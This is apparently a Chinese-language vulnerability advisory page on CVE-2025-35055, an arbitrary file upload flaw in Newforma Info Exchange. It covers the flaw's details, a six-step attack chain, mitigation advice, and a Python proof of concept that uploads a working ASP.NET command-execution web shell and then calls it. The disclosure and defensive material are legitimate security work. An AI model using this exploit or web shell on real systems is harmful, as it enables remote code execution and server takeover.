IPBUF安全漏洞报告
English
CVE-2025-35055 CVSS 8.8 高危

CVE-2025-35055:Newforma Info Exchange任意文件上传漏洞

披露日期: 2025-10-09
来源: 9119a7d8-5eab-497f-8521-727c672e3725

漏洞信息

漏洞编号
CVE-2025-35055
漏洞类型
任意文件上传(远程代码执行)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Newforma Info Exchange (NIX)

相关标签

任意文件上传远程代码执行Newforma Info ExchangeNIXWeb Shell高危漏洞CVE-2025-35055CVE-2025-35062匿名访问路径遍历

漏洞概述

CVE-2025-35055是Newforma Info Exchange(NIX)产品中存在的一个高危任意文件上传漏洞。该漏洞位于NIX的'/UserWeb/Common/UploadBlueimp.ashx'接口处,允许经过身份验证的攻击者将任意文件上传到NIX应用程序可写入的任何位置。攻击者可以利用该漏洞上传并执行Web Shell或其他可被Web服务器执行的内容,从而获取服务器控制权。此外,攻击者还可以利用该漏洞删除服务器上的目录,进一步扩大攻击影响范围。

该漏洞的CVSS评分为8.8分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N),对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。

特别值得注意的是,该漏洞与CVE-2025-35062存在关联。在Newforma 2023.1之前的版本中,默认启用了匿名访问功能,这意味着未经身份验证的攻击者可以有效地以'anonymous'身份进行认证,进而利用本文件上传漏洞实施攻击。这使得该漏洞在实际利用中变得更加危险,未打补丁的早期版本几乎不设防。该漏洞由CISA及相关安全研究人员在2025年10月9日公开披露,对使用Newforma Info Exchange的企业和组织构成了严重的安全威胁。

技术细节

Newforma Info Exchange(NIX)的'/UserWeb/Common/Common/UploadBlueimp.ashx'接口在处理文件上传请求时存在安全缺陷。该接口原本设计用于处理Blueimp jQuery文件上传组件的请求,但在实现过程中缺乏对上传文件类型、内容和目标路径的有效验证与限制。

具体技术原理如下:

1. **路径遍历与任意写入**:UploadBlueimp.ashx端点在处理上传文件时,未对目标存储路径进行充分的过滤和验证。攻击者可以通过构造特殊的请求参数(如文件名或路径字段),将文件上传到Web服务器可写入的任意目录中。

2. **文件类型未过滤**:服务端未对上传文件的扩展名和MIME类型进行严格校验,攻击者可以上传.aspx、.ashx、.asp等可执行脚本文件,而非仅限于正常的文档、图片等业务文件。

3. **Web Shell部署**:由于可以控制上传路径,攻击者可以将ASP.NET Web Shell上传到Web应用程序的根目录或可执行目录下,通过浏览器直接访问该Shell即可执行任意系统命令。

4. **目录删除能力**:该漏洞还允许攻击者通过特定请求删除服务器上的目录,可能导致数据丢失或服务中断。

5. **匿名访问组合利用**:在2023.1之前的版本中,由于CVE-2025-35062的存在,匿名访问默认启用。攻击者无需任何有效凭据即可获得'anonymous'身份的会话,然后利用本漏洞完成完整的攻击链,实现从匿名访问到远程代码执行的完整利用。

攻击链分析

STEP 1
步骤1:初始访问
对于2023.1之前的版本,利用CVE-2025-35062匿名访问默认启用的缺陷,无需有效凭据即可获得'anonymous'用户会话。对于2023.1及之后的版本,需要使用有效凭据进行认证。
STEP 2
步骤2:定位上传端点
访问'/UserWeb/Common/UploadBlueimp.ashx'端点,确认文件上传功能可用。
STEP 3
步骤3:构造恶意文件
准备包含ASP.NET代码的Web Shell文件(如.aspx),用于在目标服务器上执行任意命令。
STEP 4
步骤4:上传恶意文件
通过UploadBlueimp.ashx端点上传Web Shell,利用路径遍历或未过滤的文件名参数,将文件写入到Web应用程序可执行的目录中。
STEP 5
步骤5:执行远程代码
通过浏览器访问已部署的Web Shell,利用Web Shell执行任意系统命令,获取服务器控制权。
STEP 6
步骤6:权限提升与持久化
利用获取的服务器权限进行横向移动、数据窃取、植入持久化后门或删除关键目录等恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-35055 - Newforma Info Exchange Arbitrary File Upload PoC # Exploits /UserWeb/Common/UploadBlueimp.ashx for arbitrary file upload import requests TARGET_URL = "https://target-nix-server" UPLOAD_ENDPOINT = "/UserWeb/Common/UploadBlueimp.ashx" # Step 1: Authenticate (or leverage anonymous access in pre-2023.1 versions) session = requests.Session() # For pre-2023.1 versions, anonymous access may be enabled by default # Otherwise, authenticate with valid credentials login_url = f"{TARGET_URL}/UserWeb/" # session.post(login_url, data={"username": "anonymous", "password": ""}) # Step 2: Prepare malicious ASPX web shell payload web_shell_content = b"""<%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <script runat="server"> protected void Page_Load(object sender, EventArgs e) { string cmd = Request.QueryString["cmd"]; if (!string.IsNullOrEmpty(cmd)) { Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + cmd; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.UseShellExecute = false; p.Start(); Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>"); } } </script>""" # Step 3: Upload web shell via the vulnerable endpoint files = { "files[]": ("cmd.aspx", web_shell_content, "application/octet-stream") } # The endpoint may accept a custom path parameter for arbitrary write location data = { "target_dir": "/", # Attempt to write to web root } upload_url = f"{TARGET_URL}{UPLOAD_ENDPOINT}" response = session.post(upload_url, files=files, data=data) print(f"Upload response: {response.status_code}") print(response.text) # Step 4: Access the deployed web shell shell_url = f"{TARGET_URL}/cmd.aspx?cmd=whoami" shell_response = session.get(shell_url) print(f"Shell output: {shell_response.text}")

影响范围

Newforma Info Exchange (NIX) < 2023.1

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)禁用匿名访问功能,确保所有用户必须通过有效凭据认证;2)在Web服务器层面限制'/UserWeb/Common/UploadBlueimp.ashx'端点的访问,仅允许特定IP地址或用户访问;3)通过WAF规则拦截包含可执行脚本扩展名(.aspx、.ashx、.asp等)的文件上传请求;4)限制NIX应用程序的目录写入权限,确保其仅能在指定的上传目录中写入文件;5)定期检查Web目录中是否存在可疑的.aspx或.ashx文件;6)监控NIX服务器的异常活动,特别是文件上传和目录删除操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表